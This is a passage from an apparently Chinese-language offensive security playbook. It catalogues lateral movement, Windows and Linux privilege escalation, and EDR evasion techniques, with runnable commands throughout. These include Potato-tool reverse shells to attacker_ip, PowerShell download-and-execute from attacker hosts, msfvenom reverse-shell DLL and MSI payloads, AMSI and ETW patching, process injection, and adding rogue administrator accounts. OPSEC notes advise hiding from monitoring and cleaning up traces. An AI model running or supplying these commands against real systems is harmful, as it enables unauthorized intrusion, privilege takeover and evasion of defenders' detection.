**前置条件：** 计划任务权限；管理员权限 **攻击链：** **1. Impacket atexec** _[linux]_ _使用atexec执行命令_ ``` atexec.py domain/user:password@target "whoami" ``` **2. schtasks** _[windows]_ _创建远程计划任务_ ``` schtasks /create /s target /tn "evil" /tr "cmd /c whoami" /sc once /st 00:00 ``` --- ### WinRS横向移动 `lateral-winrs` 通过WinRS执行远程命令 子类：**WinRS** · tags: `winrs` `lateral` `windows` **前置条件：** WinRM启用；有效凭证 **攻击链：** **1. 执行命令** _[windows]_ _远程执行命令_ ``` winrs -r:target -u:user -p:password "whoami" ``` **2. 获取Shell** _[windows]_ _获取远程CMD_ ``` winrs -r:target -u:user -p:password "cmd" ``` --- ### Excel DCOM横向移动 `lateral-dcom-excel` 利用Excel DCOM进行横向移动 子类：**DCOM** · tags: `dcom` `excel` `lateral` **前置条件：** 目标安装Excel；DCOM权限 **攻击链：** **1. Excel DCOM激活** _[windows]_ _激活Excel DCOM对象_ ``` $com = [Type]::GetTypeFromProgID("Excel.Application","target.com") $obj = [System.Activator]::CreateInstance($com) $obj.Visible = $false ``` **2. 执行命令** _[windows]_ _通过Excel执行命令_ ``` $obj.Workbooks.Add() $obj.Cells.Item(1,1) = "=CMD|/C calc.exe!A" $obj.Run("calc.exe") ``` **3. Impacket DCOM** _[linux]_ _使用Impacket执行_ ``` python dcomexec.py -object Excel.Application domain/user:password@target.com ``` --- ### MMC DCOM横向移动 `lateral-dcom-mmc` 利用MMC DCOM进行横向移动 子类：**DCOM** · tags: `dcom` `mmc` `lateral` **前置条件：** 目标安装MMC；DCOM权限 **攻击链：** **1. MMC20.Application** _[windows]_ _使用MMC执行命令_ ``` $com = [Type]::GetTypeFromProgID("MMC20.Application","target.com") $obj = [System.Activator]::CreateInstance($com) $obj.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","7") ``` **2. Impacket执行** _[linux]_ _使用Impacket_ ``` python dcomexec.py -object MMC20.Application domain/user:password@target.com ``` --- ### RDP Relay攻击 `rdp-relay` RDP中继攻击技术 子类：**RDP** · tags: `rdp` `relay` `lateral` **前置条件：** RDP服务可访问；存在NTLM认证 **攻击链：** **1. 设置中继** _[linux]_ _设置RDP中继服务器_ ``` 使用Impacket: python ntlmrelayx.py -tf targets.txt -smb2support 或使用rdp_relay.py ``` **2. 诱导连接** _诱导用户连接_ ``` 诱导用户连接到攻击者控制的RDP服务器: 1. 发送恶意RDP文件 2. 用户连接时中继到目标 ``` **3. PetitPotam组合** _[linux]_ _PetitPotam + RDP Relay_ ``` python petitpotam.py -d domain -u user -p pass attacker_ip target_ip 结合NTLM中继攻击ADCS ``` --- ## 权限提升 ### 令牌窃取与模拟 `privilege-token` 窃取和模拟Windows访问令牌 子类：**令牌操作** · tags: `token` `privilege` `impersonation` `windows` **前置条件：** 已获得目标机器权限；SeImpersonatePrivilege权限；Windows系统 **攻击链：** **1. 列出令牌** _[windows]_ _列出系统中所有可用令牌_ ``` mimikatz.exe "privilege::debug" "token::list" "exit" ``` **2. 窃取令牌** _[windows]_ _窃取指定用户的令牌_ ``` mimikatz.exe "privilege::debug" "token::elevate /domainuser:Administrator" "exit" ``` **3. JuicyPotato攻击** _[windows]_ _JuicyPotato提权（需要SeImpersonatePrivilege）_ ``` JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} ``` **4. PrintSpoofer** _[windows]_ _PrintSpoofer提权_ ``` PrintSpoofer.exe -i -c cmd ``` **5. GodPotato** _[windows]_ _GodPotato提权，支持更多Windows版本_ ``` GodPotato.exe -cmd "cmd /c whoami" ``` **EDR 绕过变体：** **1. RoguePotato** _RoguePotato，绕过更多限制_ ``` RoguePotato.exe -r attacker_ip -l 9999 -e "cmd.exe" ``` **分析：** 令牌窃取成功后可以模拟高权限用户身份执行操作。 **OPSEC：** Potato系列工具利用DCOM机制；需要SeImpersonatePrivilege权限；不同Windows版本需要不同的CLSID --- ### Windows权限提升 `windows-privesc` Windows系统提权技术 子类：**Windows** · tags: `privesc` `windows` `privilege` **前置条件：** 普通用户权限；系统漏洞 **攻击链：** **1. 检查提权向量** _[windows]_ _检查当前权限_ ``` whoami /priv whoami /groups ``` **2. 使用WinPEAS** _[windows]_ _自动化提权检查_ ``` winpeas.exe ``` **3. 检查服务权限** _[windows]_ _检查可写服务_ ``` accesschk.exe -uwcqv "Everyone" * ``` **4. 检查未引用服务路径** _[windows]_ _查找未引用服务路径_ ``` wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ ``` --- ### Linux权限提升 `linux-privesc` Linux系统提权技术 子类：**Linux** · tags: `privesc` `linux` `privilege` **前置条件：** 普通用户权限；系统漏洞 **攻击链：** **1. 检查SUID** _[linux]_ _查找SUID文件_ ``` find / -perm -4000 -type f 2>/dev/null ``` **2. 检查Sudo** _[linux]_ _检查sudo权限_ ``` sudo -l ``` **3. 检查Cron** _[linux]_ _检查计划任务_ ``` cat /etc/crontab ls -la /etc/cron* ``` **4. 使用LinPEAS** _[linux]_ _自动化提权检查_ ``` linpeas.sh ``` --- ### UAC绕过 `uac-bypass` 绕过Windows用户账户控制 子类：**UAC** · tags: `uac` `bypass` `windows` **前置条件：** 管理员组成员；UAC启用 **攻击链：** **1. Fodhelper** _[windows]_ _通过fodhelper绕过UAC_ ``` reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe" /f reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /d "" /f fodhelper.exe ``` **2. Eventvwr** _[windows]_ _通过eventvwr绕过UAC_ ``` reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe" /f eventvwr.exe ``` **3. 使用UACME** _[windows]_ _使用UACME工具_ ``` Akagi64.exe 23 cmd.exe ``` --- ### DLL劫持 `dll-hijack` 通过DLL劫持提权 子类：**DLL** · tags: `dll` `hijack` `privesc` **前置条件：** 可写目录；DLL搜索顺序 **攻击链：** **1. 查找DLL劫持** _[windows]_ _监控进程加载的DLL_ ``` 使用Procmon监控DLL加载 ``` **2. 创建恶意DLL** _[linux]_ _生成恶意DLL_ ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll ``` **3. 放置DLL** _[windows]_ _放置DLL到目标位置_ ``` copy evil.dll "C:\Program Files\VulnerableApp\missing.dll" ``` --- ### 服务提权 `service-exploit` 通过服务漏洞提权 子类：**服务** · tags: `service` `privesc` `windows` **前置条件：** 服务修改权限；可写服务路径 **攻击链：** **1. 检查服务权限** _[windows]_ _检查用户可修改的服务_ ``` accesschk.exe -uwcqv "Users" * ``` **2. 修改服务路径** _[windows]_ _修改服务执行路径_ ``` sc config VulnerableService binPath= "cmd /c whoami" ``` **3. 重启服务** _[windows]_ _重启服务执行命令_ ``` sc stop VulnerableService sc start VulnerableService ``` --- ### AlwaysInstallElevated提权 `always-install` 利用AlwaysInstallElevated提权 子类：**MSI** · tags: `msi` `alwaysinstall` `privesc` **前置条件：** AlwaysInstallElevated启用 **攻击链：** **1. 检查设置** _[windows]_ _检查是否启用_ ``` reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` **2. 创建MSI** _[linux]_ _生成恶意MSI_ ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f msi > evil.msi ``` **3. 安装MSI** _[windows]_ _安装MSI执行代码_ ``` msiexec /quiet /qn /i evil.msi ``` --- ### Juicy Potato提权 `juicy-potato` 利用COM对象和SeImpersonatePrivilege提权 子类：**Potato** · tags: `juicy-potato` `com` `privesc` **前置条件：** SeImpersonatePrivilege；Windows < 2019 **攻击链：** **1. 检查权限** _[windows]_ _检查SeImpersonatePrivilege_ ``` whoami /priv | findstr SeImpersonate ``` **2. 执行JuicyPotato** _[windows]_ _使用JuicyPotato提权_ ``` JuicyPotato.exe -t * -p cmd.exe -l 1337 ``` --- ### PrintSpoofer提权 `printspoofer` 利用打印机服务提权 子类：**PrintSpoofer** · tags: `printspoofer` `privesc` `windows` **前置条件：** SeImpersonatePrivilege **攻击链：** **1. 执行PrintSpoofer** _[windows]_ _使用PrintSpoofer提权_ ``` PrintSpoofer.exe -i -c cmd ``` **2. 指定命令** _[windows]_ _执行指定命令_ ``` PrintSpoofer.exe -c "whoami > C:\out.txt" ``` --- ### GodPotato提权 `godpotato` GodPotato提权工具 子类：**GodPotato** · tags: `godpotato` `privesc` `windows` **前置条件：** SeImpersonatePrivilege **攻击链：** **1. 执行GodPotato** _[windows]_ _使用GodPotato提权_ ``` GodPotato.exe -cmd "cmd /c whoami" ``` **2. 反向Shell** _[windows]_ _执行反向Shell_ ``` GodPotato.exe -cmd "cmd /c powershell -e BASE64_CMD" ``` --- ### SUID提权 `suid-exploit` 利用SUID文件提权 子类：**SUID** · tags: `suid` `privesc` `linux` **前置条件：** 存在SUID文件；可利用程序 **攻击链：** **1. 查找SUID** _[linux]_ _查找所有SUID文件_ ``` find / -perm -4000 -type f 2>/dev/null ``` **2. 常见可利用程序** _[linux]_ _常见SUID利用方法_ ``` nmap --interactive vim -c ':!/bin/sh' find / -exec /bin/sh \; cp /bin/sh /tmp/sh; chmod +s /tmp/sh ``` **3. GTFOBins** _[linux]_ _查找程序利用方法_ ``` 参考GTFOBins网站查找可利用程序 ``` --- ### Sudo提权 `sudo-exploit` 利用Sudo配置提权 子类：**Sudo** · tags: `sudo` `privesc` `linux` **前置条件：** Sudo权限配置不当 **攻击链：** **1. 检查Sudo权限** _[linux]_ _列出可执行的sudo命令_ ``` sudo -l ``` **2. 常见利用** _[linux]_ _常见sudo利用方法_ ``` sudo vim -c ':!/bin/sh' sudo find / -exec /bin/sh \; sudo awk 'BEGIN {system("/bin/sh")}' ``` **3. CVE-2021-3156** _[linux]_ _Baron Samedit漏洞_ ``` 利用sudo堆溢出漏洞 ``` --- ### Cron提权 `cron-exploit` 利用Cron任务提权 子类：**Cron** · tags: `cron` `privesc` `linux` **前置条件：** 可写Cron脚本；通配符注入 **攻击链：** **1. 检查Cron任务** _[linux]_ _查看计划任务_ ``` cat /etc/crontab ls -la /etc/cron* ``` **2. 检查脚本权限** _[linux]_ _检查Cron脚本权限_ ``` ls -la /path/to/cron/script.sh ``` **3. 通配符注入** _[linux]_ _利用tar通配符注入_ ``` 在Cron目录创建: --checkpoint=1 --checkpoint-action=exec=sh shell.sh ``` --- ### 内核漏洞提权 `kernel-exploit` 利用内核漏洞提权 子类：**内核** · tags: `kernel` `privesc` `exploit` **前置条件：** 存在内核漏洞；可编译/执行exploit **攻击链：** **1. 检查内核版本** _[linux]_ _查看内核版本信息_ ``` uname -a cat /proc/version ``` **2. 搜索exploit** _[linux]_ _搜索内核exploit_ ``` searchsploit kernel VERSION ``` **3. 常见内核漏洞** _[linux]_ _常见内核提权漏洞_ ``` DirtyCow (CVE-2016-5195) DirtyPipe (CVE-2022-0847) PwnKit (CVE-2021-4034) ``` --- ### Potato系列提权攻击 `potato-attack` 利用Windows令牌模拟和NTLM中继机制从服务账户(SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege)提权到SYSTEM 子类：**Potato提权** · tags: `privilege-escalation` `potato` `token-impersonation` `ntlm-relay` `windows` **前置条件：** 拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限；常见于IIS AppPool、SQL Server、各类服务账户 **攻击链：** **1. 检查当前权限** _[windows]_ _首先确认当前用户是否拥有令牌模拟权限。IIS应用池账户、SQL Server服务账户、Windows服务账户通常默认拥有该权限_ ``` # 检查是否拥有Impersonate权限 whoami /priv # 重点关注以下权限: # SeImpersonatePrivilege - 模拟客户端令牌 # SeAssignPrimaryTokenPrivilege - 替换进程级令牌 # 确认当前用户身份 whoami /all echo %USERNAME% ``` **2. JuicyPotato (Windows Server 2016/2019)** _[windows]_ _JuicyPotato利用COM服务器和NTLM认证实现令牌模拟。通过创建本地COM服务器，欺骗SYSTEM账户向其认证，然后模拟该令牌执行命令_ ``` # 下载JuicyPotato certutil -urlcache -split -f http://attacker/JuicyPotato.exe C:\temp\jp.exe # 使用JuicyPotato提权执行命令 C:\temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\proof.txt" -t * # 使用特定CLSID (不同系统需要不同CLSID) C:\temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user testadmin Test@123 /add && net localgroup administrators testadmin /add" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} # 反弹Shell C:\temp\jp.exe -l 1337 -p C:\temp\nc.exe -a "-e cmd.exe attacker_ip 4444" -t * ``` **3. PrintSpoofer (Windows 10/Server 2019+)** _[windows]_ _PrintSpoofer利用Windows打印服务的命名管道模拟功能。它创建一个命名管道并欺骗Print Spooler服务连接，从而获取SYSTEM令牌。适用于JuicyPotato无法使用的新版Windows_ ``` # PrintSpoofer - 利用打印服务命名管道 PrintSpoofer.exe -i -c cmd # 直接执行命令 PrintSpoofer.exe -c "cmd /c whoami > C:\temp\proof.txt" # 反弹Shell PrintSpoofer.exe -c "C:\temp\nc.exe attacker_ip 4444 -e cmd.exe" # 以SYSTEM身份启动PowerShell PrintSpoofer.exe -i -c powershell.exe ``` **4. Sweet Potato (多技术集成)** _[windows]_ _SweetPotato集成了PrintSpoofer、EfsPotato等多种技术，自动选择适合目标系统的攻击方式_ ``` # SweetPotato - 集成多种Potato技术 SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami" # 指定攻击方式 SweetPotato.exe -e EfsRpc -p cmd.exe -a "/c net user testadmin Test@123 /add" ``` **5. GodPotato (全版本通杀)** _[windows]_ _GodPotato利用DCOM OXID解析器的漏洞，无需指定CLSID，兼容几乎所有Windows版本。是目前最通用的Potato变种_ ``` # GodPotato - 适用于Windows Server 2012-2022所有版本 GodPotato.exe -cmd "cmd /c whoami" # 执行反弹Shell GodPotato.exe -cmd "cmd /c C:\temp\nc.exe -e cmd.exe attacker_ip 4444" # 添加管理员 GodPotato.exe -cmd "net user testadmin Test@123 /add && net localgroup administrators testadmin /add" # 执行PowerShell GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')" ``` **6. RoguePotato (远程场景)** _[windows]_ _RoguePotato是JuicyPotato的改进版，通过远程OXID解析器实现NTLM认证中继。需要一台攻击机辅助完成中继_ ``` # 攻击机 - 启动socat重定向 socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999 # 目标机 - 执行RoguePotato RoguePotato.exe -r attacker_ip -e "cmd /c whoami > C:\temp\proof.txt" -l 9999 # 或使用netcat反弹 RoguePotato.exe -r attacker_ip -e "C:\temp\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999 ``` **7. Potato选型决策流程** _[windows]_ _根据目标系统版本选择合适的Potato变种工具_ ``` # === 决策流程 === # 1. whoami /priv 确认SeImpersonatePrivilege # 2. systeminfo 确认系统版本 # # Windows Server 2012-2016 => JuicyPotato # Windows Server 2019 (1809之前) => JuicyPotato (需正确CLSID) # Windows 10/Server 2019+ => PrintSpoofer 或 GodPotato # Windows Server 2022 => GodPotato # 所有版本 => SweetPotato (自动选择) # 需要远程中继 => RoguePotato # # 常用CLSID查询: https://ohpe.it/juicy-potato/CLSID/ ``` **EDR 绕过变体：** **1. 绕过EDR检测的Potato技巧** _[windows]_ _通过反射加载、重命名、使用较新工具等方式绕过EDR对Potato工具的检测_ ``` # 1. 重命名二进制文件 ren GodPotato.exe svcutil.exe # 2. 使用.NET反射加载(无文件落地) powershell -ep bypass -c "$bytes=[System.IO.File]::ReadAllBytes('C:\temp\gp.exe');[System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,@(,@('-cmd','cmd /c whoami')))"; # 3. 使用SharpToken替代(较新工具,签名较少) SharpToken.exe execute SYSTEM "cmd /c whoami" ``` **分析：** Potato系列攻击利用Windows的令牌模拟机制——拥有SeImpersonatePrivilege的服务账户可以模拟向其认证的任何用户令牌。攻击者通过欺骗SYSTEM账户向本地COM服务器/命名管道认证，获取SYSTEM令牌后创建高权限进程。这是Web服务器(IIS)和数据库(SQL Server)提权最常见的方式之一。 **OPSEC：** 1) Potato工具的二进制文件特征明显，建议内存加载 2) 创建的命名管道名称可能被监控 3) 成功后立即清理工具和临时文件 4) 避免使用net user等敏感命令，改用更隐蔽的后渗透方式 --- ## 免杀与规避 ### PowerShell免杀 `evasion-powershell` PowerShell脚本免杀技术 子类：**PowerShell** · tags: `powershell` `evasion` `obfuscation` **前置条件：** 目标机器访问权限；Windows系统 **攻击链：** **1. 编码执行** _[windows]_ _Base64编码执行_ ``` powershell -enc BASE64_ENCODED_COMMAND ``` **2. 远程加载** _[windows]_ _远程加载脚本_ ``` IEX (New-Object Net.WebClient).DownloadString("http://attacker/script.ps1") ``` **3. 混淆变量名** _[windows]_ _变量名混淆_ ``` 1='IEX'; 2='(New-Object Net.WebClient).DownloadString'; Invoke-Expression "1 2" ``` **4. 无文件执行** _[windows]_ _隐藏窗口无配置文件执行_ ``` powershell -w hidden -nop -c "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker/script.ps1\")" ``` **EDR 绕过变体：** **1. 降级执行** _使用PowerShell v2绕过日志_ ``` powershell -version 2 -c "command" ``` **分析：** PowerShell免杀可以绕过杀毒软件检测执行恶意脚本。 **OPSEC：** PowerShell日志可能记录命令；考虑禁用日志；使用混淆技术 --- ### AMSI绕过 `amsi-bypass` 绕过反恶意软件扫描接口 子类：**AMSI绕过** · tags: `amsi` `bypass` `evasion` **前置条件：** PowerShell环境；AMSI启用 **攻击链：** **1. 反射绕过** _[windows]_ _通过反射禁用AMSI_ ``` [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true) ``` **2. 内存修补** _[windows]_ _混淆版本绕过_ ``` $a=[Ref].Assembly.GetTypes();ForEach($x in $a){if($x.Name -like "*iUtils"){$z=$x}};$y=$z.GetFields("NonPublic,Static");ForEach($x in $y){if($x.Name -like "*itFailed"){$x.SetValue($null,$true)}} ``` **3. DLL劫持** _[windows]_ _通过DLL劫持绕过_ ``` 替换或劫持amsi.dll ``` **4. 使用工具** _[windows]_ _使用现成工具_ ``` Import-Module .\AmsiBypass.ps1 Invoke-AmsiBypass ``` --- ### ETW Patch绕过 `etw-patch` 禁用ETW监控 子类：**ETW** · tags: `etw` `bypass` `evasion` **前置条件：** 代码执行权限 **攻击链：** **1. PowerShell禁用ETW** _[windows]_ _PowerShell禁用ETW_ ``` [System.Diagnostics.Eventing.EventProvider]::SetEnabled([System.Guid]::NewGuid(), 0, 0) 或 [Reflection.Assembly]::LoadWithPartialName("System.Diagnostics.Tracing") | Out-Null $etw = [System.Diagnostics.Tracing.EventProvider]::new([Guid]::NewGuid()) $etw.SetEnabled(0) ``` **2. C#禁用ETW** _[windows]_ _C#禁用ETW_ ``` Assembly.Load("System.Diagnostics.Tracing") Type etwType = typeof(EventProvider) MethodInfo setEnabled = etwType.GetMethod("SetEnabled", BindingFlags.NonPublic | BindingFlags.Static) setEnabled.Invoke(null, new object[] { Guid.NewGuid(), 0, 0 }) ``` **3. 修补ntdll** _[windows]_ _修补EtwEventWrite_ ``` $ntdll = [Win32.Kernel32]::LoadLibrary("ntdll.dll") $etwEventWrite = [Win32.Kernel32]::GetProcAddress($ntdll, "EtwEventWrite") [Win32.Kernel32]::VirtualProtect($etwEventWrite, [uint32]1, 0x40, [ref]$oldProtect) [Win32.Kernel32]::WriteProcessMemory(-1, $etwEventWrite, [byte[]](0xC3), 1, [ref]$bytesWritten) ``` --- ### API Unhooking `api-unhooking` 移除EDR的API Hook 子类：**Unhooking** · tags: `unhooking` `hook` `evasion` **前置条件：** 代码执行权限 **攻击链：** **1. 从磁盘还原** _[windows]_ _从磁盘读取干净DLL_ ``` $ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll") $proc = [System.Diagnostics.Process]::GetCurrentProcess() $base = $proc.MainModule.BaseAddress # 找到.text段并覆盖 ``` **2. 从KnownDlls还原** _[windows]_ _从KnownDlls还原_ ``` $section = [Win32.Kernel32]::OpenFileMapping(0x4, $false, "\KnownDlls\ntdll.dll") $map = [Win32.Kernel32]::MapViewOfFile($section, 0x4, 0, 0, 0) # 复制干净的代码段 ``` **3. Hell's Gate** _[windows]_ _Hell's Gate技术_ ``` 通过系统调用号直接调用: 1. 解析NTDLL获取系统调用号 2. 直接执行syscall 3. 绕过用户模式Hook ``` --- ### 进程注入 `process-injection` 将代码注入到其他进程 子类：**进程注入** · tags: `injection` `process` `evasion` **前置条件：** 代码执行权限 **攻击链：** **1. 经典DLL注入** _[windows]_ _DLL注入_ ``` $proc = Get-Process -Name notepad $handle = [Win32.Kernel32]::OpenProcess(0x1F0FFF, $false, $proc.Id) $addr = [Win32.Kernel32]::VirtualAllocEx($handle, 0, $dllPath.Length, 0x3000, 0x40) [Win32.Kernel32]::WriteProcessMemory($handle, $addr, $dllPath, $dllPath.Length, [ref]0) [Win32.Kernel32]::CreateRemoteThread($handle, 0, 0, $loadLibraryAddr, $addr, 0, [ref]0) ``` **2. Process Hollowing** _[windows]_ _进程镂空_ ``` 1. CreateProcess(CREATE_SUSPENDED) 2. NtUnmapViewOfSection 3. VirtualAllocEx 4. WriteProcessMemory 5. ResumeThread ``` **3. APC注入** _[windows]_ _APC队列注入_ ``` $threadId = $proc.Threads[0].Id $queueAPC = [Win32.Kernel32]::GetProcAddress($kernel32, "QueueUserAPC") [Win32.Kernel32]::QueueUserAPC($queueAPC, $handle, $addr) ``` --- ### AppLocker绕过 `applocker-bypass` 绕过AppLocker应用程序限制 子类：**AppLocker** · tags: `applocker` `bypass` `evasion` **前置条件：** AppLocker限制环境 **攻击链：** **1. 使用白名单路径** _[windows]_ _使用白名单可执行文件_ ``` C:\Windows\System32\spoolsv.exe C:\Windows\System32\svchost.exe C:\Program Files\Internet Explorer\ieexec.exe ``` **2. LOLBAS利用** _[windows]_ _LOLBAS技术_ ``` regsvr32.exe /s /n /u /i:http://attacker.com/shell.sct scrobj.dll mshta.exe http://attacker.com/shell.hta certutil.exe -urlcache -split -f http://attacker.com/shell.exe shell.exe ``` **3. InstallUtil** _[windows]_ _InstallUtil绕过_ ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe ``` **4. MSBuild** _[windows]_ _MSBuild执行代码_ ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe shell.csproj ``` --- ### BlockDLLs技术 `evasion-blockdlls` 阻止非微软DLL加载 子类：**BlockDLLs** · tags: `evasion` `blockdlls` `edr` **前置条件：** Windows系统；Cobalt Strike或其他工具 **攻击链：** **1. Cobalt Strike BlockDLLs** _[windows]_ _启用BlockDLLs_ ``` beacon> blockdlls start 阻止非微软签名的DLL加载 beacon> blockdlls stop 恢复DLL加载 ``` **2. 进程创建时启用** _[windows]_ _进程创建时启用_ ``` 使用CREATE_SUSPENDED标志创建进程 设置ProcessSignaturePolicy 阻止EDR DLL注入 ``` **3. C#实现** _[windows]_ _C#实现BlockDLLs_ ``` [DllImport("kernel32.dll")] static extern bool SetProcessMitigationPolicy(...); ProcessSignaturePolicy policy = new ProcessSignaturePolicy(); policy.SignatureLevel = 0x0F; SetProcessMitigationPolicy(ProcessMitigationPolicy.Signature, ref policy, size); ``` --- ### Shellcode加密 `evasion-shellcode-encrypt` 加密Shellcode绕过静态检测 子类：**Shellcode加密** · tags: `evasion` `shellcode` `encrypt` **前置条件：** Shellcode；加密工具 **攻击链：** **1. AES加密Shellcode** _AES加密_ ``` 使用工具加密: python shellcode_encoder.py --input shellcode.bin --output encoded.bin --key randomkey 生成加密的Shellcode和解密代码 ``` **2. XOR加密** _XOR加密_ ``` 简单XOR加密: for i in range(len(shellcode)): encoded[i] = shellcode[i] ^ key[i % len(key)] 运行时解密执行 ``` **3. RC4加密** _RC4加密_ ``` 使用RC4加密Shellcode: from Crypto.Cipher import ARC4 cipher = ARC4.new(key) encrypted = cipher.encrypt(shellcode) 运行时使用相同密钥解密 ``` **4. 多态加密** _多态加密_ ``` 每次生成不同的解密代码: - 随机密钥 - 随机解密顺序 - 添加垃圾指令 - 控制流混淆 ``` --- ### 进程伪装 `evasion-process-masq` 伪装进程名称和路径 子类：**进程伪装** · tags: `evasion` `process` `masquerade` **前置条件：** Windows系统 **攻击链：** **1. PPID欺骗** _[windows]_ _PPID欺骗_ ``` Cobalt Strike: beacon> ppid 1234 设置父进程ID为合法进程 beacon> run [command] 新进程继承合法父进程 ``` **2. 进程参数欺骗** _[windows]_ _参数欺骗_ ``` CreateProcess参数: - lpApplicationName: 合法程序路径 - lpCommandLine: 包含恶意命令 - 显示为合法进程 ``` **3. 进程镂空** _[windows]_ _进程镂空_ ``` 1. 创建合法进程(挂起状态) 2. 写入恶意代码 3. 恢复线程执行 进程名显示为合法程序 ``` --- ### PPID欺骗 `evasion-ppid-spoof` 伪造父进程ID 子类：**PPID欺骗** · tags: `evasion` `ppid` `spoofing` **前置条件：** Windows系统；父进程句柄 **攻击链：** **1. PowerShell实现** _[windows]_ _PowerShell PPID欺骗_ ``` $parent = Get-Process -Name explorer $pi = New-Object System.Diagnostics.ProcessStartInfo $pi.FileName = "cmd.exe" $pi.ParentProcessId = $parent.Id [System.Diagnostics.Process]::Start($pi) ``` **2. C#实现** _[windows]_ _C#实现_ ``` [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFOEX { public STARTUPINFO StartupInfo; public IntPtr lpAttributeList; } 使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性 ``` **3. Cobalt Strike** _[windows]_ _Cobalt Strike实现_ ``` beacon> ppid [explorer_pid] beacon> run notepad.exe 新进程父进程为explorer.exe ``` --- ### DLL侧加载 `evasion-dll-sideloading` 利用DLL搜索顺序加载恶意DLL 子类：**DLL侧加载** · tags: `evasion` `dll` `sideloading` **前置条件：** Windows系统；可执行文件 **攻击链：** **1. DLL劫持** _[windows]_ _DLL劫持原理_ ``` 1. 找到可执行文件加载的DLL 2. 将恶意DLL放在搜索路径优先位置 3. 执行程序时加载恶意DLL ``` **2. DLL转发** _[windows]_ _DLL转发_ ``` #pragma comment(linker, "/export:OriginalFunction=original.dll.OriginalFunction") 导出原始DLL的函数 同时执行恶意代码 ``` **3. 常见目标** _[windows]_ _常见目标DLL_ ``` 常见DLL劫持目标: - version.dll - dwmapi.dll - uxtheme.dll - cryptsp.dll - winmm.dll ``` --- ### 参数欺骗 `evasion-arg-spoofing` 欺骗进程参数显示 子类：**参数欺骗** · tags: `evasion` `argument` `spoofing` **前置条件：** Windows系统 **攻击链：** **1. 命令行欺骗** _[windows]_ _命令行欺骗_ ``` CreateProcess参数: lpApplicationName = "C:\Windows\System32\cmd.exe" lpCommandLine = "C:\Windows\System32\cmd.exe /c whoami" 实际执行恶意命令 ``` **2. 环境变量欺骗** _[windows]_ _环境变量欺骗_ ``` 使用环境变量隐藏参数: set EVIL=malicious_command cmd /c %EVIL% 进程列表不显示实际命令 ``` **3. PEB修改** _[windows]_ _PEB修改_ ``` 修改PEB中的命令行: 1. 创建进程 2. 修改PEB中的CommandLine缓冲区 3. 进程管理器显示假参数 ``` --- ### 签名二进制利用 `evasion-signed-binary` 利用微软签名二进制执行代码 子类：**签名二进制** · tags: `evasion` `signed` `lolbin` **前置条件：** Windows系统 **攻击链：** **1. MSBuild** _[windows]_ _MSBuild执行_ ``` msbuild.exe malicious.csproj 执行嵌入的C#代码 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe ``` **2. InstallUtil** _[windows]_ _InstallUtil执行_ ``` InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll 执行.NET程序集 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ``` **3. Regsvcs/Regasm** _[windows]_ _Regsvcs/Regasm_ ``` regsvcs.exe malicious.dll regasm.exe malicious.dll 执行.NET程序集 ``` **4. Rundll32** _[windows]_ _Rundll32执行_ ``` rundll32.exe javascript:"\..\mshtml,RunHTMLApplication" rundll32.exe shell32.dll,Control_RunDLL malicious.cpl ``` --- ### CLR注入 `evasion-clr-injection` CLR内存注入技术 子类：**CLR注入** · tags: `evasion` `clr` `injection` **前置条件：** Windows系统；.NET环境 **攻击链：** **1. CLR内存加载** _[windows]_ _CLR加载原理_ ``` 使用CLR接口加载.NET程序集: 1. 获取CLR运行时 2. 创建AppDomain 3. 加载程序集 4. 执行入口点 ``` **2. C#实现** _[windows]_ _C# CLR加载_ ``` var clr = new ClrModule(); clr.LoadAssembly(File.ReadAllBytes("malicious.exe")); clr.Execute("Main"); 从内存执行.NET程序 ``` **3. Cobalt Strike** _[windows]_ _Cobalt Strike实现_ ``` beacon> execute-assembly /path/to/tool.exe args 从内存执行.NET程序集 不落地执行 ``` --- ## 域渗透攻击 ### 域内权限提升路径 `domain-privilege-escalation` 利用ACL错误配置进行域权限提升 子类：**权限提升** · tags: `acl` `privilege` `active-directory` `escalation` **前置条件：** 域环境；普通域用户凭证；BloodHound分析结果 **攻击链：** **1. BloodHound分析** _查询到域管理员的最短路径_ ``` MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p ``` **2. 查找WriteDACL** _[windows]_ _查找WriteDACL权限_ ``` Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"} ``` 